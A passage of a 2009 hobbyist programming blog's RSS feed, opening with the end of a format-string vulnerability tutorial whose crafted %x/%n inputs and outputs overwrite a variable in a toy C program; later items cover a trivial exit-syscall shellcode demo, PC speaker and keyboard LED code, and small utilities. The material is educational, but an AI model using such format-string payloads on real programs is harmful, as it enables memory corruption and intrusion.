} &lt;/code&gt;First output is adress of &lt;b&gt;static i&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Than we outputing values of i and call &lt;b&gt;printf()&lt;/b&gt; with first argument fo prgramm.&lt;/p&gt;&lt;p&gt;and then watching value if &lt;b&gt;i&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Run:&lt;/b&gt; ./e1 'Halolo'&lt;br&gt;&lt;b&gt;Output:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;
&lt;code lang="c"&gt;
08049674
No way it never will works because value of i=0
Halolo
Value of i=0
&lt;/code&gt;&lt;b&gt;Run:&lt;/b&gt; ./e1 'Halolo%s'&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Output:&lt;/b&gt;&lt;code lang="c"&gt;08049674
&lt;br&gt;No way it never will works because value of i=0&lt;br&gt;Halolo(null)
&lt;br&gt;Value of i=0&amp;nbsp;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
&lt;b&gt;Run:&lt;/b&gt;&amp;nbsp; ./e1 $'\x74\x96\x04\x08_%x'&lt;/p&gt;&lt;p&gt;&lt;b&gt;Output:&lt;/b&gt;&lt;code lang="c"&gt;08049674
&lt;br&gt;No way it never will works because value of i=0
&lt;br&gt;t�_0
&lt;br&gt;Value of i=0&lt;br&gt;&lt;/code&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Read about &lt;i&gt;%n&lt;/i&gt; in format string:&lt;/p&gt;&lt;p&gt;
&lt;b&gt;Run:&lt;/b&gt; ./e1 $'\x74\x96\x04\x08_%x_%n'&lt;/p&gt;&lt;p&gt;&lt;b&gt;Output:&lt;/b&gt;&lt;code lang="c"&gt;08049674
&lt;br&gt;No way it never will works because value of i=0
&lt;br&gt;Segmentation fault&lt;br&gt;
&lt;/code&gt;&lt;b&gt;Run:&lt;/b&gt; ./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%x_%n'
&lt;br&gt;&lt;b&gt;Output:&lt;/b&gt;&lt;code lang="c"&gt;08049674
&lt;br&gt;No way it never will works because value of i=0
&lt;br&gt;t�_0_8_40_4_4_
&lt;br&gt;Value of i=16&lt;br&gt;&lt;/code&gt;&lt;b&gt;Run:&lt;/b&gt; ./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%.1201x_%n'&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Output:&lt;/b&gt;
&lt;/p&gt;&lt;code lang="c"&gt;08049674
No way it never will works because value of i=0
t�_0_8_40_4_000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
&lt;br&gt;0000000000000000000000000000000000000000004_
Value of i=1216
&lt;/code&gt;&lt;br&gt;&lt;p&gt;Now you can input almost any value to &lt;b&gt;i&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;</description>
			<pubDate>Fri, 25 Dec 2009 14:55:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/75</guid>
		</item>
				<item>
			<title>Linux PC speaker</title>
			<link>http://www.main.lv/posts/view/linux-pc-speaker</link>
			<description>&lt;div&gt;PC speaker can make sound you whant. Here is small PC speaker player. Set notes , set time&lt;/div&gt;&lt;div&gt;delay and you on. You shold run this code under root if nothing happends.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;code lang="c"&gt;int main()&lt;br /&gt;
{&lt;br /&gt;
	int rc,i;&lt;br /&gt;
	note *curent_song;&lt;br /&gt;
	curent_song = song;&lt;br /&gt;
	struct timespec t1;&lt;br /&gt;
	rc = syscall(SYS_open,"/dev/console",O_WRONLY,7*8*64+7*8+7); //open cosole&lt;br /&gt;
	if (rc == 0)&lt;br /&gt;
		rc = 1;&lt;br /&gt;
	&lt;br /&gt;
	ioctl( rc, KIOCSOUND , 0 );	&lt;br /&gt;
	ioctl( rc , KDSETLED , 7 );&lt;br /&gt;
	&lt;br /&gt;
	i = 0;&lt;br /&gt;
	while ( curent_song[i].n != 0 )&lt;br /&gt;
	{&lt;br /&gt;
		ioctl( rc , KIOCSOUND , curent_song[i].n );&lt;br /&gt;
		msleep( (curent_song[i].t) );&lt;br /&gt;
		ioctl( rc , KDSETLED , i&amp;amp;0x0007 );&lt;br /&gt;
		i++;&lt;br /&gt;
	}&lt;br /&gt;
	ioctl( rc , KDSETLED , 0 );&lt;br /&gt;
	ioctl( rc, KIOCSOUND , 0 );&lt;br /&gt;
	&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;a href="/files/download/69"&gt;Source&lt;/a&gt;&lt;/div&gt;</description>
			<pubDate>Mon, 14 Dec 2009 19:36:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/74</guid>
		</item>
				<item>
			<title>Linux keyboard LED </title>
			<link>http://www.main.lv/posts/view/linux-keyboard-led</link>
			<description>&lt;div&gt;Send some bytes and flash LED on you keyboards.&lt;/div&gt;&lt;div&gt;Run it under root. There will no be any errors if something happens.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Usage:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;kbled [NumLock] [CapsLock] [ScrLock]&lt;/div&gt;&lt;div&gt;kbled 0 0 0&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;code lang="c"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/kd.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main( int argc , char **argv )&lt;br /&gt;
{&lt;br /&gt;
	int rc,i;&lt;br /&gt;
	if (argc != 4) exit(0);&lt;br /&gt;
&lt;br /&gt;
	rc = syscall(SYS_open,"/dev/console",O_WRONLY,7*64+7*8+7); //open cosole&lt;br /&gt;
	if (rc == 0) rc = 1;&lt;br /&gt;
	&lt;br /&gt;
	i = (argv[1][0]-'0')*2+(argv[2][0]-'0')*4+(argv[3][0]-'0');&lt;br /&gt;
	ioctl( rc , KDSETLED , i );&lt;br /&gt;
	&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://main.lv/files/download/65"&gt;Source&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;br&gt;&lt;/div&gt;</description>
			<pubDate>Sat, 12 Dec 2009 17:18:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/73</guid>
		</item>
				<item>
			<title>ARP analyzer</title>
			<link>http://www.main.lv/posts/view/arp-analyzer</link>
			<description>Research in ARP protocol. Watch ARP packets , count them and show in list.&lt;br&gt;&lt;br&gt;Usage&lt;br&gt;&lt;b&gt;./arpsni eth0&lt;br&gt;&lt;br&gt;Version 0.1&lt;/b&gt;[2009nov30]&lt;br&gt;&lt;br&gt;
&lt;a href="/files/download/64"&gt;ArpSni.0.1&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;</description>
			<pubDate>Mon, 30 Nov 2009 23:26:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/72</guid>
		</item>
				<item>
			<title>Linux ShellCode 1</title>
			<link>http://www.main.lv/posts/view/linux-shellcode-1</link>
			<description>&lt;br&gt;First shell code writened from example. Shell code is very interesting way how to execute some code.&lt;br&gt;&lt;br&gt;asm source:&lt;br&gt;&lt;br&gt;&lt;code lang="asm"&gt;use32				&lt;br&gt;
xor eax, eax
inc eax
xor ebx, ebx
int 80h&lt;/code&gt;&lt;br&gt;&lt;b&gt;fasm code.asm code.bin&lt;br&gt;&lt;/b&gt;&lt;br&gt;bin2hex output:&lt;br&gt;&lt;br&gt;&lt;code lang="c"&gt;\x31\xc0\x40\x31\xdb\xcd\x80&lt;/code&gt;C source:&lt;br&gt;&lt;br&gt;&lt;code lang="c"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;
char code[] = "\x31\xc0\x40\x31\xdb\xcd\x80";&lt;br&gt;
int main()&lt;br&gt;
{
  void (*ret)();
  ret = (void (*)())code;
  ret();
  printf("Nope it not working\n");
}&lt;/code&gt;&lt;b&gt;&lt;br&gt;gcc main.c -o main&lt;/b&gt;&lt;br&gt;&lt;br&gt;run &lt;b&gt;./main&lt;/b&gt; nothing happens. That exactly that code do exits from programm&lt;br&gt;&lt;br&gt;&lt;a href="/files/download/67"&gt;Source&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;br&gt;My variant of &lt;a href="/posts/view/bin2hex"&gt;Bin2Hex&lt;/a&gt;&lt;br&gt;
</description>
			<pubDate>Mon, 30 Nov 2009 23:08:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/71</guid>
		</item>
				<item>
			<title>C Bin2Hex</title>
			<link>http://www.main.lv/posts/view/bin2hex</link>
			<description>Converts binary file to hex file.&lt;div&gt;&lt;b&gt;Use:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;./bin2hex [bin_file] - for local output&lt;/div&gt;&lt;div&gt;./bin2hex [bin_file] [hex_text_file] - for file output&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;a href="/files/download/62"&gt;Bin2Hex source&lt;/a&gt;&lt;/div&gt;</description>
			<pubDate>Tue, 24 Nov 2009 14:43:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/70</guid>
		</item>
				<item>
			<title>Pascal Triangle</title>
			<link>http://www.main.lv/posts/view/pascal-triangle</link>
			<description>This is Pascal Triangle. And colors is choseen by reminder of division. &lt;br&gt;There are 2 ways how thats is made:&lt;br&gt;1. Simple if division reminder is 0 then red else green&lt;br&gt;2. Reminder is like alpha chanell of red color.&lt;br&gt;In gallery shown images are generated by dividing on (17,19,23,41,42,43). There is easy to see that&lt;br&gt;prime numbers (17,19,41,43) has very structured triangle but not prime (42) is different.&lt;br&gt;&lt;b&gt;./chessboard div_number - &lt;/b&gt;simply show triangle divided by number&lt;br&gt;&lt;b&gt;./chessboard div image.tga - &lt;/b&gt;save programm screen to image.tga&lt;br&gt;&lt;b&gt;./chessboard div img.tga ant_parm - &lt;/b&gt;changes to second coloring type&lt;br&gt;Why it I call it chessboard? I were trying make such with OpenGL bet result is Pascal Triangle.&lt;b&gt; &lt;/b&gt;&lt;br&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a href="/files/download/58"&gt;Source&lt;/a&gt;&lt;br&gt;</description>
			<pubDate>Sun, 15 Nov 2009 19:15:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/68</guid>
		</item>
				<item>
			<title>Python Skype Sync Status</title>
			<link>http://www.main.lv/posts/view/skype-sync-status</link>
			<description>This script synhronize your status with selected user status.&lt;div&gt;&lt;b&gt;python SyncStat.py favorite_uzer&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;br&gt;&lt;br /&gt;
&lt;a href="/files/download/57"&gt;Script&lt;/a&gt;&lt;/div&gt;</description>
			<pubDate>Thu, 12 Nov 2009 10:11:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/67</guid>
		</item>
			</channel>
</rss>
